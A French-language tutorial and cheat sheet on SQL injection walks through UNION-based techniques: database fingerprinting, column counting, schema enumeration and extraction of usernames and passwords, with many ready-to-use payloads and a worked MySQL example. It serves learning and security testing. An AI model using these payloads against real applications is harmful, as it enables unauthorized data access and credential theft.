SQLI


Détection des Vulnérabilités d'Injection SQL

Analyse Manuelle

Voir cette listes de tests :

Analyse automatique


Identifier le type et la version de la BDD

Oracle

SELECT banner FROM v$version SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

SQLite

sqlite_version()

Exemple : ' UNION SELECT @@version, NULL #

UNION

L'injection SQL par UNION permet d'ajouter les résultats d'une ou plusieurs requêtes SELECT à la requête SQL d'origine pour extraire des données supplémentaires.

Exemple : Si la première requête sélectionne les noms et les âges des employés, et la deuxième requête sélectionne les noms et les postes des managers, UNION combine ces résultats dans un seul tableau.

SELECT name, age FROM employees
UNION
SELECT name, position FROM managers;

Conditions :

  • Nombre de Colonnes : Les requêtes doivent renvoyer le même nombre de colonnes.

  • Types de Données : Les types de données des colonnes doivent être compatibles.

Détermination du Nombre de Colonnes

Test avec ORDER BY

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
https://exemple.com/products?category=Gifts' ORDER BY 1--
https://exemple.com/products?category=Gifts' ORDER BY 2--
https://exemple.com/products?category=Gifts' ORDER BY 3--
  • ORDER BY 1-- trie les résultats selon la première colonne.

Pas d'Erreur : La colonne spécifiée existe. Continuez avec des valeurs croissantes.

Erreur : La colonne spécifiée n'existe pas. Le nombre de colonnes de la requête d'origine est inférieur à cette valeur.

Teste avec des valeurs NULL :

' UNION SELECT NULL-- (1 colonne)
' UNION SELECT NULL, NULL-- (2 colonnes)
https://exemple.com/products?category=Gifts' UNION SELECT NULL-- 
https://exemple.com/products?category=Gifts' UNION SELECT NULL, NULL-- 
  • UNION SELECT NULL-- teste une seule colonne.

Lister le contenu de la base de données

La plupart des types de bases de données (à l'exception d'Oracle) disposent d'un ensemble de vues appelé information_schema.tables. Cela fournit des informations sur la base de données.

Liste des Tables

  • MySQL :

    ' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = DATABASE()--
  • Oracle :

    ' UNION SELECT table_name, NULL FROM all_tables--
  • PostgreSQL :

    ' UNION SELECT table_name, NULL FROM information_schema.tables--

Liste des Colonnes

  • MySQL, PostgreSQL :

    ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'--
  • Oracle :

    ' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS'--

Extraire nom BDD, tables et colonnes

#Récupérer les noms de toutes les BDD
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Récupérer les tables
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Récupérer colonnes
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Extraction de données réelles

Une fois que vous avez identifié le nombre correct de colonnes, vous pouvez remplacer NULL par des requêtes pour extraire des données réelles :

https://exemple.com/products?category=Gifts' UNION SELECT username, password FROM users--

Cette requête fusionne les résultats des noms d'utilisateur et mots de passe avec les résultats de la requête d'origine.


Tester la comptabilité

Objectif : Identifier les colonnes qui peuvent contenir des chaînes de caractères.

Méthode : Soumettre des payloads UNION SELECT avec des valeurs de chaîne dans chaque colonne pour tester la compatibilité des types de données.

Exemples :

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a' FROM DUAL-- #si Oracle
  • Erreur : Si une erreur

Si une erreur survient (par exemple, Conversion failed when converting the varchar value 'a' to data type int), cela signifie que la colonne ne peut pas contenir de chaînes.

Lorsque les chaînes de caractères ne sont pas acceptées, explorez les colonnes avec des types de données alternatifs comme des nombres, des dates, et des valeurs booléennes.


Exemples de requêtes d'exploitation :

' UNION SELECT'username' 'password'FROM users WHERE username = 'administrator'--

Avec concaténation (voir cheat sheet pour syntaxe) :

' UNION SELECT NULL,username||'~'||password FROM users--
---

Exemple Pratique avec MySQL :

Vérifier le Nombre de Colonnes :

Testez avec une requête simple pour vérifier le nombre de colonnes renvoyées :

'+UNION+SELECT+'abc','def'--
  • Observation : Cette requête permet de vérifier le nombre de colonnes. Si la réponse contient 'abc' et 'def', cela indique que la requête originale retourne deux colonnes.

Lister les Tables :

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
  • Observation : on observe la table users_lugkan.

Lister les Colonnes de la table :

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_lugkan'--
  • Observation : Vous trouverez les colonnes de la table, comme username et password.

Extraire les Données :

Utilisez la requête suivante pour extraire les données des colonnes :

' UNION SELECT username, password FROM users_lugkan--
  • Observation : On obtient le contenues dans les colonnes username et password de la table users_lugkan.


Last updated